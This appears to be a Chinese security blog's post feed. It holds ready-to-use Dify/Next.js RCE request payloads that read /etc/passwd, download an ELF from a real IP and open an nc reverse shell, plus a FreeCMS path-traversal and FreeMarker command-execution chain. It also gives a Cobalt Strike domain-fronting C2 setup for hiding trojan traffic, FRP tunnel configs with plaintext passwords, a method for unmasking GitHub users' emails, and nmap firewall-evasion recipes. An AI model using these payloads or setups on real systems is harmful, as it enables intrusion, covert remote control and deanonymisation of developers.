iperf3 -c 43.248.136.69 -i 7 -n 5G

3）-F指定文件传输

iperf3 -c 43.248.136.69 -i 2 -F Python-3.7.1rc2.tgz -t 20

Dify RCE

Thu, 25 Dec 2025 14:09:00 GMT

注意事项：在验证漏洞是否存在过程中，应尽量避免使用 execSync函数执行，这样可能造成系统阻塞的命令(如ping，curl，wget等)，因为Node.js是单线程事件循环模型，execSync会阻塞整个事件循环导致所有请求都被阻塞。推荐使用异步 exec（下面的poc仍然使用的是execSync函数）

1、查看文件

POST /apps HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: keep-alive
Content-Length: 710
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
X-Nextjs-Html-Request-Id: lMx9dPL6FzXWOlwazZgjx
X-Nextjs-Request-Id: bafo0gfl
Accept-Encoding: gzip, deflate, br

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $(cat /etc/passwd)').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

2、下载文件

POST /apps HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: keep-alive
Content-Length: 729
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
X-Nextjs-Html-Request-Id: lMx9dPL6FzXWOlwazZgjx
X-Nextjs-Request-Id: bafo0gfl
Accept-Encoding: gzip, deflate, br

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $(wget 43.142.109.146:19998/dify.elf)').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

3、反弹shell

POST /apps HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: keep-alive
Content-Length: 724
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
X-Nextjs-Html-Request-Id: lMx9dPL6FzXWOlwazZgjx
X-Nextjs-Request-Id: bafo0gfl
Accept-Encoding: gzip, deflate, br

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $(nc 43.142.109.146 19999 -e sh)').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

GitHub 的正反向溯源方式

Mon, 15 Dec 2025 11:10:00 GMT

GitHub的正反向溯源方式

在很多溯源场景里，GitHub 是一个极其稳定的信号源。无论是 APT 相关人员分析、数据泄露事件溯源，还是企业外部风险筛查，GitHub 都经常出现在调查链条的关键位置。原因并不复杂：代码提交是长期行为，具有明确时间线，而且很难在不影响正常使用的情况下完全抹除历史痕迹。而且 GitHub 的溯源是很方便的，这里介绍两种正反方向溯源的方式，一种是有知道账号找邮箱，一种是知道邮箱找账号。 GitHub 溯源的本质是查询公开的历史提交行为。

一、通过 GitHub 账号反向查找邮箱

砸开原理为通过已知 GitHub 用户名找注册邮箱，用户就算在 GitHub Profile 页面隐藏邮箱，只要其曾向公开仓库提交代码，提交记录中的 commit.author.email 字段就会被长期保留。如果用户没有始终使用 noreply.github.com，那么这些历史邮箱是可以被稳定提取的。

有两种获取方式，一是在这个开发者项目中找commit记录，随便打开一个，在URL末尾加.patch，就可以看到文本版的记录，邮箱就在页面最开头，效果如下：

第二种获取用GitHub自己的api获取目标开发者repo（api.github.com/users/{username}/repos），筛选其中author email部分就行，写脚本的话过滤掉noreply.会更方便。

二、通过邮箱正向查找 GitHub 账号

已知一个邮箱地址，希望确认其是否对应真实的 GitHub 技术账号。GitHub 提供了 commit 搜索接口，允许按照 author-email 查询历史提交。只要某个邮箱曾被用于公开仓库的提交，就可以直接返回对应的提交记录和作者对象。这里的关键点在于：返回的 GitHub 用户并不是模糊匹配，而是GitHub已经建立好的历史关联关系。

使用方式也是通过GitHub官方api搜索commits，查询条件指定目标邮箱，查看回包信息就行

https://api.github.com/search/commits?q=author-email:{email}

后续就可以直接围绕账号展开行为分析，例如技术方向、参与项目、组织关联和活跃时间线。而且GitHub api的返回结构稳定，字段清晰，天然适合脚本循环和结果结构化存储。也很适合自动化或批量化。

三、查找 Commit URL

在Github项目页进入commit查看历史提交记录

可以F12搜索commit也可以直接复制历史提交记录URL

FreeCMS 商业版 2.x 任意文件读取与文件包含漏洞

Wed, 24 Sep 2025 15:48:00 GMT

FreeCMS商业版2.x版存在任意文件读取和任意文件包含漏洞

一、报告概述

FreeCMS商业版2.x版存在任意文件读取和任意文件包含漏洞，攻击者可以通过任意文件读取漏洞配合任意文件包含漏洞获取服务器权限。

二、报告详情

（一）漏洞描述

FreeCMS商业版2.x版存在任意文件读取和任意文件包含漏洞，攻击者可以通过任意文件读取漏洞配合任意文件包含漏洞获取服务器权限。

（二）影响范围

FreeCMS商业版2.x版。

（三）验证方法

1. 文件上传

POST /freecms/image.upload HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.40 Safari/537.36
Content-Length: 245

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: image/jpeg

<#assign value="freemarker.template.utility.Execute"?new()>${value("cmd.exe /c whoami")}
------WebKitFormBoundaryABC123—

2. 查看上传文件

GET /upload/20250712/202507124.7353792948194275.txt HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.40 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Sec-GPC: 1
Connection: close
Cookie: JSESSIONID=FAD00DDBD51EB9270FF15A07B3A5C081
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Priority: u=0, i

3. 任意文件读取

POST /templetProFhtml.do HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.40 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Sec-GPC: 1
Connection: close
Cookie: JSESSIONID=FAD00DDBD51EB9270FF15A07B3A5C081
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

siteFolder=FreeCMS&templetPath=info/../../../WEB-INF/web.xml

4. 配合FreeMarker模板注入命令执行

POST /templetProFhtml.do HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.40 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Sec-GPC: 1
Connection: close
Cookie: JSESSIONID=FAD00DDBD51EB9270FF15A07B3A5C081
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 87

siteFolder=FreeCMS&templetPath=/../../../upload/20250712/202507124.7353792948194275.txt

（四）修复建议

官方暂未修复该漏洞，建议对相关接口进行限制

FRP 隧道配置参考

Thu, 11 Sep 2025 17:55:00 GMT

老版本ini

服务端

[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = dcjdcjdcjdcjdcj

admin_user = dcj
admin_pwd = 135728Qq

客户端

[common]
server_addr = 10.1.239.129
server_port = 7000
token = dcjdcjdcjdcjdcj

admin_user = dcj
admin_pwd = 135728Qq
 
[http_port_1]
type = tcp
local_ip = 127.0.0.1
local_port = 32400
remote_port = 18080

[http_port_2]
type = tcp
local_ip = 127.0.0.1
local_port = 6677
remote_port = 18081

[socks5]
type = tcp
local_ip = 10.1.239.134
remote_port = 1080
local_port = 8888
plugin = socks5

新版本toml

服务端

# frps.toml
bindPort = 7000 # 服务端与客户端通信端口

transport.tls.force = true # 服务端将只接受 TLS链接

auth.token = "public" # 身份验证令牌，frpc要与frps一致

# Server Dashboard，可以查看frp服务状态以及统计信息
webServer.addr = "0.0.0.0" # 后台管理地址
webServer.port = 7500 # 后台管理端口
webServer.user = "admin" # 后台登录用户名
webServer.password = "admin" # 后台登录密码

客户端

# frpc.toml
transport.tls.enable = true # 从 v0.50.0版本开始，transport.tls.enable的默认值为 true
serverAddr = "x.x.x.x"
serverPort = 7000 # 公网服务端通信端口

auth.token = "public" # 令牌，与公网服务端保持一致

[[proxies]]
name = "test-http"
type = "tcp"
localIP = "127.0.0.1" # 需要暴露的服务的IP
localPort = 80 # 将本地9000端口的服务暴露在公网的6060端口
remotePort = 6060 # 暴露服务的公网入口

[[proxies]]
name = "ssh"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22
remotePort = 6000

[[proxies]]
name = "socks5"
type = "tcp"
remotePort = 6028

[proxies.plugin]
type = "socks5"

CS 域前置加密

Sat, 26 Jul 2025 17:25:00 GMT

CS 域前置加密

0x00 介绍

域前置简介 域前置（Domain Fronting）基于 HTTPS 通用规避技术，也被称为域前端网络攻击技术。 这是一种用来隐藏 Metasploit、Cobalt Strike 等团队控制服务器流量，以此来一定程度绕过检查器或防火墙检测的技术，如 Amazon、Google、Akamai 等大型厂商会提供一些域前端技术服务。  域前置技术原理（CDN 分发） 通过 CDN 节点将流量转发到真实的 C2 服务器，其中 CDN 节点 IP 通过识别请求的 HOST 头进行流量转发，利用我们配置域名的高可信度，如我们可以设置一个微软的子域名，可以有效的躲避 DLP、agent 等流量检测。  工作原理（也就是 CDN 工作原理） 域前置的核心是 CDN CDN 工作原理： 同一个 IP 可以被不同的域名进行绑定加速，再通过 HTTP 请求包头里的 HOST 域名来确定访问哪一个。

域名1个，vps 1台 ==>c2 服务器

0x01 域名 & CDN

1、免费国外域名

去 freenom 申请个免费的顶级域名：

https://www.freenom.com/zh/index.html?lang=zh

这里也可以使用其他的平台来申请，我使用的 godaddy，花了十几块……

2、Cloudflare 添加站点

按照引导步骤即可

需要注意的是这里要将 NS 服务器设置为 cloudflare 的，才能进行后面的配置

3、SSL/TLS 配置

SSL/TLS 改为灵活，因为完全在国内会非常慢

4、创建客户端证书

选择 ECC-> 创建证书

记下证书和密钥

6、缓存配置

7、规则配置

添加两个规则 -> 选择缓存级别 -> 选择绕过 -> 保存

domain/*
*.domain/*

这时候多地 ping 已经是有 CDN 的状态了，成功隐藏服务器地址

0x02 C2 服务端

1、创建 server.pem

粘贴刚刚保存的证书

2、创建 server.key

粘贴刚刚保存的私钥

3、生成 C2 证书

openssl pkcs12 -export -in server.pem -inkey server.key -out cfcert.p12 -name cloudflare_cert -passout pass:yftk123

4、创建一个 store

keytool -importkeystore -deststorepass yftk123 -destkeypass yftk123 -destkeystore cfcert.store -srckeystore cfcert.p12 -srcstoretype PKCS12 -srcstorepass yftk123 -alias cloudflare_cert
 
ps：这里的所有密码都要和上面的一致

5、创建修改保存 c2 配置文件 cdn.profile

https-certificate {
set keystore "cfcert.store";
set password "yftk123";
}
http-config {
header "Content-Type" "application";
}
http-stager {
set uri_x86 "/api/1";
set uri_x64 "/api/2";
client {
header "Host" "";}
server {
output{
print;
}
}
}
http-get {
set uri "/api/3";
client {
header "Host" "";
metadata {
base64;
header "Cookie";
}
}
server {
output{
print;
}
}
}
http-post {
set uri "/api/4";
client {
header "Host" "";
id {
uri-append;
}
output{
print;
}
}
server {
output{
print;
}
}
}

6、将文件上传至 VPS

添加可执行权限

7、检查配置

./c2lint cdn.profile

8、服务器防火墙

将防火墙策略都进行适当的开放，端口及协议

0x03 CS 启动

1、服务端启动

./teamserver VPS_IP password cdn.profile

2、客户端连接

注意 http port 端口只能设置成以下几个：
80,8080,8880,2052,2082,2086,2095
 
如果是 https 的监听端口只能设置成以下几个：
443,2053,2083,2087,2096,8443;
 
国内服务器没有备案，不能使用80、8080、443、8443端口提供服务。创建listener时要避开这些端口。

3、生成木马上线

同时 wireshark 抓包能够看到是 HTTPS 加密的，能够隐藏流量

Nmap参数详解

Mon, 16 Jun 2025 11:12:00 GMT

介绍

nmap是一个网络连接端扫描软件，用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端，并且推断计算机运行哪个操作系统（这是亦称 fingerprinting）。它是网络管理员必用的软件之一，以及用以评估网络系统安全。正如大多数被用于网络安全的工具，nmap 也是不少黑客及骇客（又称脚本小子）爱用的工具。系统管理员可以利用nmap来探测工作环境中未经批准使用的服务器，但是黑客会利用nmap来搜集目标电脑的网络设定，从而计划攻击的方法。

参数

nmap –iflist : 查看本地主机的接口信息和路由信息
-A ：选项用于使用进攻性方式扫描
-T4： 指定扫描过程使用的时序，总有6个级别（0-5），级别越高，扫描速度越快，但也容易被防火墙或IDS检测并屏蔽掉，在网络通讯状况较好的情况下推荐使用T4
-oX test.xml： 将扫描结果生成 test.xml 文件，如果中断，则结果打不开
-oA test.xml:  将扫描结果生成 test.xml 文件，中断后，结果也可保存
-oG test.txt:  将扫描结果生成 test.txt 文件
-sn : 只进行主机发现，不进行端口扫描
-O : 指定Nmap进行系统版本扫描
-sV: 指定让Nmap进行服务版本扫描
-p <port ranges>: 扫描指定的端口
-sS/sT/sA/sW/sM:指定使用 TCP SYN/Connect()/ACK/Window/Maimon scans的方式来对目标主机进行扫描
-sU: 指定使用UDP扫描方式确定目标主机的UDP端口状况
-script <script name> : 指定扫描脚本
-Pn ： 不进行ping扫描
-sP :  用ping扫描判断主机是否存活，只有主机存活，nmap才会继续扫描，一般最好不加，因为有的主机会禁止ping
-PI :  设置这个选项，让nmap使用真正的ping(ICMP echo请求)来扫描目标主机是否正在运行。
-iL 1.txt : 批量扫描1.txt中的目标地址
-sL: List Scan 列表扫描，仅将指定的目标的IP列举出来，不进行主机发现
-sY/sZ: 使用SCTP INIT/COOKIE-ECHO来扫描SCTP协议端口的开放的情况
-sO: 使用IP protocol 扫描确定目标机支持的协议类型
-PO : 使用IP协议包探测对方主机是否开启 
-PE/PP/PM : 使用ICMP echo、 ICMP timestamp、ICMP netmask 请求包发现主机
-PS/PA/PU/PY : 使用TCP SYN/TCP ACK或SCTP INIT/ECHO方式进行发现
-sN/sF/sX: 指定使用TCP Null, FIN, and Xmas scans秘密扫描方式来协助探测对方的TCP端口状态
-e eth0：指定使用eth0网卡进行探测
-f : --mtu <val>: 指定使用分片、指定数据包的 MTU.
-b <FTP relay host>: 使用FTP bounce scan扫描方式
-g： 指定发送的端口号
-r: 不进行端口随机打乱的操作（如无该参数，nmap会将要扫描的端口以随机顺序方式扫描，以让nmap的扫描不易被对方防火墙检测到）
-v 表示显示冗余信息，在扫描过程中显示扫描的细节，从而让用户了解当前的扫描状态
-n : 表示不进行DNS解析；
-D  <decoy1,decoy2[,ME],...>: 用一组 IP 地址掩盖真实地址，其中 ME 填入自己的 IP 地址
-R ：表示总是进行DNS解析。 
-F : 快速模式，仅扫描TOP 100的端口 
-S <IP_Address>: 伪装成其他 IP 地址
--ttl <val>: 设置 time-to-live 时间
--badsum: 使用错误的 checksum 来发送数据包（正常情况下，该类数据包被抛弃，如果收到回复，说明回复来自防火墙或 IDS/IPS）
--dns-servers  : 指定DNS服务器
--system-dns : 指定使用系统的DNS服务器   
--traceroute : 追踪每个路由节点 
--scanflags <flags>: 定制TCP包的flags
--top-ports <number> :扫描开放概率最高的number个端口
--port-ratio <ratio>: 扫描指定频率以上的端口。与上述--top-ports类似，这里以概率作为参数
--version-trace: 显示出详细的版本侦测过程信息
--osscan-limit: 限制Nmap只对确定的主机的进行OS探测（至少需确知该主机分别有一个open和closed的端口）
--osscan-guess: 猜测对方的主机的系统类型。准确性会下降，但会尽可能多为用户提供潜在的操作系统
--data-length <num>: 填充随机数据让数据包长度达到 Num
--ip-options <options>: 使用指定的 IP 选项来发送数据包
--spoof-mac <mac address/prefix/vendor name> : 伪装 MAC 地址
--version-intensity <level>: 指定版本侦测强度（0-9），默认为7。数值越高，探测出的服务越准确，但是运行时间会比较长。
--version-light: 指定使用轻量侦测方式 (intensity 2)
--version-all: 尝试使用所有的probes进行侦测 (intensity 9)
--version-trace: 显示出详细的版本侦测过程信息
nmap 192.168.1.0/24 -exclude 192.168.1.10  #扫描除192.168.1.0外的该网段的其他地址
nmap 192.168.1.0/24 -excludefile f:/1.txt  #扫描除给定文件中的地址以外的其他地址
nmap -sF -T4 192.168.1.0 #探测防火墙状态

-T

在nmap中，-T参数是用于指定扫描速度的选项。该参数的值可以是0-5之间的整数，其中0表示不限制扫描速度，而5表示最慢的扫描速度。根据nmap的文档，不同的等级会影响nmap的行为方式，例如：

-T0表示关闭优化，将在每个目标上进行最详细的扫描，但可能会导致目标系统的资源过度消耗。
-T3是默认的扫描速度等级，可以在大多数情况下保证扫描效率和准确性。
-T4表示更快的扫描速度，可以在大多数情况下提高扫描速度和效率，但会增加被探测到的可能性。
-T5表示最慢的扫描速度，将在每个目标上进行最仔细的扫描，以最小化目标系统的资源消耗和减少被探测到的可能性。
因此，在选择扫描速度等级时，需要考虑到目标系统的资源使用情况、扫描的目的和可接受的被探测到的风险等因素。


在nmap中，-T1和-T2是可以使用的扫描速度等级选项。

-T1表示非常慢的扫描速度，会使得扫描更加缓慢，但是可以降低目标系统被探测到的风险和减少探测所占用的网络带宽。该选项在需要极高安全性和隐秘性的情况下使用。

-T2表示相对慢的扫描速度，比-T1略快，但仍然会使扫描变得缓慢，以降低目标系统被探测到的风险和减少探测所占用的网络带宽。该选项在需要较高安全性和隐秘性的情况下使用。

需要注意的是，使用较慢的扫描速度等级会使得扫描变得缓慢，可能会影响扫描的效率和时间，因此需要根据具体情况选择合适的扫描速度等级。

主机发现

探测主机是否在线用户可以在不同的条件下灵活选用不同的方式来探测目标机，主机发现常用参数如下

-sn: Ping Scan 只进行主机发现，不进行端口扫描
-PE/PP/PM: 使用ICMP echo、 ICMP timestamp、ICMP netmask 请求包发现主机
-PS/PA/PU/PY[portlist]: 使用TCP SYN/TCP ACK或SCTP INIT/ECHO方式进行发现
-sL: List Scan 列表扫描，仅将指定的目标的IP列举出来，不进行主机发现
-Pn: 将所有指定的主机视作开启的，跳过主机发现的过程
-PO[protocollist]: 使用IP协议包探测对方主机是否开启 
-n/-R: -n表示不进行DNS解析；-R表示总是进行DNS解析 
--dns-servers <serv1[,serv2],...>: 指定DNS服务器。  
--system-dns: 指定使用系统的DNS服务器   
--traceroute: 追踪每个路由节点

端口扫描

端口扫描是Nmap最基本最核心的功能，用于确定目标主机的TCP/UDP端口的开放情况。

Nmap通过探测将端口划分为6个状态：
open：端口是开放的。
closed：端口是关闭的。
filtered：端口被防火墙IDS/IPS屏蔽，无法确定其状态。
unfiltered：端口没有被屏蔽，但是否开放需要进一步确定。
open|filtered：端口是开放的或被屏蔽，Nmap不能识别。
closed|filtered ：端口是关闭的或被屏蔽，Nmap不能识别

-sS: 这是Nmap默认的扫描方式，通常被称作半开放扫描
-sT:  扫描速度比较慢，并且建立完整的TCP连接会在目标主机上留下记录信息，不够隐蔽，-sS不能用情况下采用
-sA: 只能用于确定防火墙是否屏蔽某个端口，可以辅助-sS的方式来判断目标主机防火墙的状况
-sN/sF/sX:三种扫描方式相对比较隐蔽
-sU:  UDP扫描用于判断UDP端口的情况，向目标主机的UDP端口发送探测包，来判断哪些UDP端口是可能处于开放状态的

版本探测

版本侦测：用于确定目标主机开放端口上运行的具体的应用程序及版本信息。

-sV: 指定让Nmap进行版本侦测
--version-intensity <level>: 指定版本侦测强度（0-9），默认为7。数值越高，探测出的服务越准确，但是运行时间会比较长。
--version-light: 指定使用轻量侦测方式 (intensity 2)
--version-all: 尝试使用所有的probes进行侦测 (intensity 9)
--version-trace: 显示出详细的版本侦测过程信息

OS侦测

OS侦测：用于检测目标主机运行的操作系统类型及设备类型等信息

-O: 指定Nmap进行OS侦测
--osscan-limit: 限制Nmap只对确定的主机的进行OS探测（至少需确知该主机分别有一个open和closed的端口）
--osscan-guess: 猜测对方的主机的系统类型。所以准确性会下降不少，但会尽可能多为用户提供潜在的操作系统

常用

nmap -sS 10.1.239.0/24		半连接最快扫描IP段，显示IP存活、端口开放状态、探测服务类型，默认1000以内的端口

nmap -sS -sV -O -A -v -p1-65535 113.142.137.216		扫描IP的所有端口和版本、枚举信息

nmap --script=vuln -p80,443 113.142.62.176 -d		用自带脚本库探测开放端口的信息和可能的漏洞
在nmap命令中，"-d"参数用于启用调试模式，它会在输出中提供更详细的信息，以帮助用户调试扫描问题。在这个命令中，"-d"参数告诉nmap在扫描过程中输出更详细的调试信息。

nmap -sS -sV -O -A -v -p1-65535 -iL ip.txt -oX nmap.xml		批量扫描ip.txt中IP并输出为xml（太慢不常用）

测试用

nmap -sn 10.1.239.0/24		探测存活

nmap --min-rate 10000 -p- 10.1.239.135		最小速率为10000扫描全端口

nmap -sU --min-rate 10000 -p- 10.1.239.135		UDP协议扫描端口

nmap -sT -sV -O -p80,111,777,52497,5353,40444 10.1.239.135		扫描服务版本和操作系统

nmap --script=vuln -p80,111,777,52497,5353,40444 100.1.239.135		自带脚本扫描漏洞

过waf

-f: 分片传输
nmap -f --min-rate 10000 -p- 10.1.239.135

--source-port: 伪造端口
nmap --source-port 53 --min-rate 10000 -p- 10.1.239.135  # 伪造为DNS服务

-r: 按顺序扫描，nmap默认是随即扫描
nmap -r --min-rate 10000 -p- 10.1.239.135

--scanflags: 改变扫描标志
nmap --scanflags URGPSHFIN --min-rate 10000 -p- 10.1.239.135  # 用这三个标志位进行扫描（防火墙可能只过滤标准的SYN扫描，这里使用TCP特定的URG、PSH、FIN标志，有时候会报告为filter）

-sU: UDP扫描
nmap -sU --top-ports 1000 10.1.239.135

无Nmap如何扫描

ping主机发现

1、命令：
ping -c 1 -W 1 10.1.239.138
-c		扫描1次
-W		超时时间
2、linux下bash语法：
for i in {1..254};do ping -c 1 -W 1 10.1.239.$i;done
会产生254个结果
ctrl+C			无法结束，ctrl+Z放入后台
kill -9 %1		%1 结束最新的一条命令
3、ping成功的有一个"from"字段
修改bash语法：
for i in {1..254};do ping -c 1 -W 1 10.1.239.$i | grep from;done

nc端口发现

1、命令：
nc.traditional -vv -z 10.1.239.138 1-65535
-z		零数据传输
产生65535条数据
2、筛选
nc.traditional -vv -z 10.1.239.138 1-65535 | grep -v refused
-v		反向筛选refused
筛选无效，显示了错误信息，只是对文字产生了过滤
3、重定向
nc.traditional -vv -z 10.1.239.138 1-65535 2>&1 | grep -v refused
2>&1	需要将错误输出重新输入给正常输入

伪设备端口发现

echo $SHELL		/usr/bin/zsh zsh语法

┌──(dcj㉿dcj)-[~/桌面]
└─$ bash		首先得切换到bash中

1、伪设备
for i in {1..65535};do (echo < /dev/tcp/10.1.239.138/$i);done	伪设备 pseude device

2、命令
for i in {1..65535};do (echo < /dev/tcp/10.1.239.138/$i) &>/dev/null && printf "\n[+] The Open Port is: %d\n" "$i" | grep -v refused;done
&		没有指定1和2，包括正常1和错误2
&&		和，前面执行对了后面才执行，只有成功执行才会产生/dev/null，所以也可以不用grep
printf "\n[+] The Open Port is: %d\n" "$i"		C语言打印$i

3、执行
for i in {1..65535};do (echo < /dev/tcp/10.1.239.157/$i) &>/dev/null && printf "\n[+] The Open Port is: %d\n" "$i" || printf ".";done
|| printf "."		用或来打印，没有正确的时候就会打印"."

windows

需要两个工具进行代理转发：
chisel sshuttle

IPV6

工具：IOXIDResolver
https://github.com/mubix/IOXIDResolver

nmap -6 --min-rate 10000 -p- ipv6地址		-6 指定ipv6扫描


snmpwalk
snmp	简单网络协议
walk	枚举

-v	版本 -v2c
-c	指定社区、团体 public
sudo snmpwalk -v2c -c public 10.1.239.135

记录

-sn默认发送四种请求：1、icmp回显请求；2、默认对443端口的tcp syn请求；3、对80端口的tcp ack请求；4、默认下的icmp时间戳请求

# 本地扫描
# 特权用户使用的是arp请求是数据链路层协议，不会发送上面4种请求
sudo nmap -sn 10.1.239.0/24
PS：10.1.239.0/24与10.1.239.1/24，0指的是网络地址，1指的是主机地址，建议使用0（nmap的容错比较高，所以结果是正常）
-sn 指的是no port scan，很容易的查看网络中的主机和可用性
# 与下列命令相似
sudo arp-scan -t

# 未使用特权用户则使用connect调用，发送syn数据包到目标主机的80、443端口
nmap nmap -sn 192.168.1.0/24

# 网络扫描发送4种请求包

sudo nmap -sT --min-rate 10000 -p- 192.168.1.108 -oA nmap/ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-26 15:05 CST                                     │
Nmap scan report for 192.168.1.108                                                                     │
Host is up (0.0045s latency).                                                                          │
Not shown: 65522 filtered tcp ports (no-response)                                                      │
PORT      STATE  SERVICE                                                                               │
25/tcp    open   smtp                                                                                  │
80/tcp    open   http                                                                                  │
110/tcp   open   pop3                                                                                  │
135/tcp   open   msrpc                                                                                 │
137/tcp   closed netbios-ns                                                                            │
139/tcp   open   netbios-ssn                                                                           │
445/tcp   open   microsoft-ds                                                                          │
1032/tcp  open   iad3                                                                                  │
1042/tcp  open   afrog                                                                                 │
2869/tcp  open   icslap                                                                                │
3306/tcp  open   mysql                                                                                 │
22331/tcp open   unknown                                                                               │
49666/tcp open   unknown

# -oA指的是输出三种输出格式
gnmap、nmap、xml
# 用awk将端口列输出
grep open nmap/ports.nmap | awk -F '/' '{print $1}'
25                                                                                                     │
80                                                                                                     │
110                                                                                                    │
135                                                                                                    │
139                                                                                                    │
445                                                                                                    │
1032                                                                                                   │
1042                                                                                                   │
2869                                                                                                   │
3306                                                                                                   │
22331                                                                                                  │
49666
# 用paste将端口格式化，用逗号分隔，-s是放在一行，-d指定分隔符
grep open nmap/ports.nmap | awk -F '/' '{print $1}' | paste -sd ','
25,80,110,135,139,445,1032,1042,2869,3306,22331,49666 

#可以指定临时变量ports来获取这些数据
ports=$(grep open nmap/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',')
echo $ports

可视化工具

nmap -sV -F --script=http-title,ssl-cert -oX myoutput.xml 192.168.0.0/24

格式化到 SQLite 数据包：
https://github.com/hackertarget/nmap-did-what/blob/master/data/nmap-to-sqlite.py

python3 nmap-to-sqlite.py myoutput.xml

生成一个 nmap_results.db 数据库文件

启动 Grafana，使用 docker 启动：
https://github.com/hackertarget/nmap-did-what/blob/master/grafana-docker/docker-compose.yml

docker-compose up -d

默认端口 3000，默认账号密码 admin/admin

端口敲门 (Port Knocking)

Sun, 15 Jun 2025 09:30:00 GMT

